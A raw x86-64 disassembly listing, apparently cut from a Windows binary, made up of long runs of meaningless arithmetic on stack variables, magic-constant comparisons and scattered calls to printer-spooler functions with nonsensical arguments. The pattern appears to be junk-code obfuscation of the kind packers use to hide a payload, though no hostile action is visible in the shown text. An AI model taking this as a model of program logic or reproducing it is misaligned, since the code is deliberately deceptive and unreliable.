mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x199]
add eax, ecx
mov byte [rsp + 0x196], al
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x195], al
cmp dword [rsp + 0x3f6c], 0xb8b1
jbe 0x140009470
mov rax, qword [rsp + 0x7590]
movzx eax, byte [rax]
mov byte [rsp + 0x404c], al
cmp byte [rsp + 0x404c], 0x58
je 0x140009834
jmp 0x1400098cb
mov eax, dword [rsp + 0x3f9c]
mov dword [rsp + 0x4050], eax
cmp dword [rsp + 0x4050], 0xd2b9620f
je 0x140009851
jmp 0x140009885
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f94]
mov dword [rsp + 0x3fa8], eax
jmp 0x1400098c6
lea rax, [rsp + 0x7680]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], SHTestTokenMembership
lea r9, [rsp + 0x2e400]
lea r8, [rsp + 0x7578]
mov rdx, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_GetPrinterDataA
mov dword [rsp + 0x3fa8], eax
jmp 0x1400099b2
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x7688]
mov qword [rsp + 0x77a8], rax
movabs rax, 0x4c9dfc0a5bfd01cc
cmp qword [rsp + 0x77a8], rax
je 0x140009907
jmp 0x1400099b2
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov dword [rsp + 0x4054], eax
cmp dword [rsp + 0x4054], 0x11fb874b
je 0x140009993
cmp dword [rsp + 0x4054], 0x505cfa38
je 0x140009934
jmp 0x1400099b2
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3f74]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1108]
and eax, ecx
mov word [rsp + 0x110c], ax
movzx r8d, byte [rsp + 0x195]
mov rax, qword [rsp + 0x7540]
mov edx, dword [rax]
mov rax, qword [rsp + 0x7760]
movzx ecx, byte [rax]
call fcn.1401dd660
nop
jmp 0x1400099b2
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov eax, dword [rsp + 0x3fec]
add eax, 0x83
mov dword [rsp + 0x3fec], eax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x198]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a0]
sub rcx, rax
mov rax, rcx
mov qword [0x1401f8008], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7738]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4010], eax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
sar eax, cl
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
or eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x10f8]
shl eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x196]
and eax, ecx
mov byte [rsp + 0x197], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4030], eax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x1104]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x199]
sub eax, ecx
mov byte [rsp + 0x196], al
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
xor eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x7600]
mov qword [rsp + 0x77b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7688], rax
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1108]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
and eax, ecx
mov word [section..data], ax
mov eax, dword [rsp + 0x3f9c]
mov ecx, dword [rsp + 0x3fa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3aa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x199], al
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x1108]
or eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
shl eax, cl
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
sar eax, cl
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x76e0]
mov word [rcx], ax
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x76a8]
mov eax, dword [rax]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
cmp dword [rsp + 0x3fec], 0x436d
jb 0x1400099b2
mov eax, dword [rsp + 0x3aa0]
mov dword [rsp + 0x405c], eax
cmp dword [rsp + 0x405c], 0
je 0x14000a07e
cmp dword [rsp + 0x405c], 0x5c9f8369
je 0x140009f70
jmp 0x14000a0ce
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
mov byte [rsp + 0x4060], al
cmp byte [rsp + 0x4060], 0x1b
je 0x140009f91
jmp 0x14000a04d
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7630]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jne 0x14000a021
mov r8, qword [rsp + 0x7778]
mov rdx, qword [rsp + 0x75d0]
mov rcx, qword [rsp + 0x77b8]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f8]
or eax, ecx
mov word [rsp + 0x10f0], ax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
jmp 0x14000a04b
lea r9, [rsp + 0x7628]
mov r8d, ILGetSize
mov rdx, qword [rsp + 0x77c0]
mov rcx, qword [rsp + 0x76e8]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x4040], eax
jmp 0x14000a07c
mov rax, qword [rsp + 0x7680]
mov r9, qword [rax]
mov rax, qword [rsp + 0x7600]
mov r8, qword [rax]
mov rax, qword [rsp + 0x7600]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x7570]
call fcn.1401dcd70
nop
jmp 0x14000a0ce
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
lea rax, [rsp + 0x71c8]
mov qword [rsp + 0x77c8], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x7608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4010]
mov ecx, dword [rsp + 0x4058]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov word [rsp + 0x1104], ax
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x77c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov qword [0x1401f8008], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
mov eax, dword [rsp + 0x3f64]
mov ecx, dword [rsp + 0x4030]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x77c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7570]
shl rax, cl
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f0]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x10f4]
or eax, ecx
mov word [rsp + 0xfa8], ax
mov eax, dword [rsp + 0x3f8c]
add eax, 7
mov dword [rsp + 0x3f8c], eax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x197]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
cmp dword [rsp + 0x3f8c], 0xeeb0
jbe 0x14000a0ce
lea rax, [rsp + 0x7618]
mov qword [rsp + 0x77d0], rax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7600]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7588]
mov rdx, qword [rsp + 0x75d8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14000a3cf
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
lea rax, [rsp + 0x7720]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x75d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x69
lea r8, [rsp + 0x7568]
mov rdx, qword [rsp + 0x77b8]
mov rcx, qword [rsp + 0x7710]
call sub.WINSPOOL.DRV_EnumPrinterDataExA
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3aa0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1401dc4e0
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
or eax, ecx
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
mov dword [rsp + 0x4064], ecx
movzx edx, byte [rsp + 0x198]
movzx ecx, dl
mov edx, dword [rsp + 0x4064]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1401dc4c6
mov rax, qword [rsp + 0x7760]
movzx eax, byte [rax]
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
cmp dword [rsp + 0x3fd0], 0xb47d
jb 0x14000a956
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4010]
mov ecx, dword [rsp + 0x3f94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x76e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1100], ax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
or eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1104]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fd0]
sub eax, 0x6d
mov dword [rsp + 0x3fd0], eax
mov rax, qword [rsp + 0x77c8]
mov rcx, qword [0x1401f8008]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75d8]
shl rax, cl
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10fc]
sub eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
add eax, ecx
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x77d0]
mov rcx, qword [rsp + 0x7738]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7750]
mov ecx, dword [rsp + 0x3f9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f94], eax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x7738]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c8], rax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
movsx eax, word [rsp + 0x10ec]
movsx ecx, word [rsp + 0x10f4]
shl eax, cl
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x77a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7688], rax
mov eax, dword [rsp + 0x3fa8]
mov ecx, dword [rsp + 0x3f64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x7598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
movzx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1100]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x71c8]
mov rcx, qword [rsp + 0x7618]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3aa0]
shl eax, cl
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x7558]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3fa8], eax
jmp 0x14000a47b
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
mov byte [rsp + 0x4068], al
cmp byte [rsp + 0x4068], 0
je 0x14000a974
jmp 0x14000a9da
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x198], al
lea rax, [rsp + 0x10e8]
mov qword [rsp + 0x77e0], rax
jmp 0x14000aae0
mov rax, qword [rsp + 0x7750]
mov eax, dword [rax]
mov dword [rsp + 0x406c], eax
cmp dword [rsp + 0x406c], 0x639f976a
je 0x14000a9fd
jmp 0x14000aac3
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
lea rax, [rsp + 0x7680]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x9e
lea rax, [rsp + 0x7558]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x197]
mov r8, qword [rsp + 0x7708]
mov rdx, qword [rsp + 0x7728]
mov rcx, qword [rsp + 0x77e8]
call sub.WINSPOOL.DRV_GetPrinterDataExA
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
lea rdx, [rsp + 0x2df30]
mov rcx, qword [rsp + 0x77f0]
call sub.WINSPOOL.DRV_ResetPrinterA
mov dword [rsp + 0x4040], eax
mov eax, dword [rsp + 0x3fa8]
mov ecx, dword [rsp + 0x4058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4030], eax
jmp 0x14000aae0
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rsp + 0x3f68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
cmp dword [rsp + 0x4028], 0x5d4d
je 0x14000aca4
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x76e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x76e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
